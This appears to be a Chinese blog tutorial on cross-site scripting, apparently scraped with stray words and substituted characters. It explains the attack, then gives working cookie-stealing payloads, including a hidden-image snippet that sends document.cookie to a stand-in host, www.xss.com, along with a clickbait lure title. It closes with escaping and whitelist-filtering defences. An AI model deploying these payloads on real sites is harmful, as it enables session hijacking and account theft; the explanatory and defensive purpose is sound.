XSS攻击原理及防护措施

1、XSS攻击原理  javascript

  XSS是什么?它的全名是:Cross-site scripting,为了和CSS层叠样式表区分因此取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它容许恶意用户将代码注入到网页上,其余用户在观看网页时就会受到影响。这类攻击一般包含了HTML以及用户端脚本语言。  html

  XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,由于有了cookie至关于有了seesion,有了这些信息就能够在任意能接进互联网的pc登录该网站,并以其余人的生份登录,作一些破坏。预防措施,防止下发界面显示html标签,把</>等符号转义 java

  举例: 
 

  上面的代码就是输入一个网络分享的图片,我在src中直接写入了javascript:alert('xss');操做成功后生成帖子,用IE六、7的用户打开这个我发的这个帖子就会出现下图的alert('xss')弹窗。 如图: 


  固然我会将标题设计的很是吸引人点击,好比 “陈冠希艳照又有流出2012版(20P无码)” ,这样若是我将里面的alert换成恶意代码,好比: 
location.href='
http://www.xss.com?cookie='+document.cookie’;或者<a href='http://www.xss.com?cookie='+document.cookie>。用户的cookie我也拿到了,若是服务端session没有设置过时的话,我之后甚至拿这个cookie而不需用户名密码,就能够以这个用户的身份登陆成功了。
这里的location.href只是处于简单这样作,若是作了跳转这个帖子很快会被管理员删除,可是若是我写以下代码,而且帖子的内容也是比较真实的,说不定这个帖子就会祸害不少人: 浏览器

var img = document.createElement('img');  
img.src='http://www.xss.com?cookie='+document.cookie;  
img.style.display='none';  
document.getElementsByTagName('body')[0].appendChild(img);  

  这样就神不知鬼不觉的把当前用户的cookie发送给了个人恶意站点,个人恶意站点经过获取get参数就拿到了用户的cookie。固然咱们能够经过这个方法拿到用户各类各样的数据。安全

 

2、防护措施cookie

  • 当恶意代码值被做为某一标签的内容显示:在不须要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )作过滤,将其转化为不被浏览器解释执行的字符。
  • 当恶意代码被做为某一标签的属性显示,经过用 “将属性截断来开辟新的属性或恶意方法:属性自己存在的 单引号和双引号都须要进行转码;对用户输入的html 标签及标签属性作白名单过滤,也能够对一些存在漏洞的标签和属性进行专门过滤。
相关文章
相关标签/搜索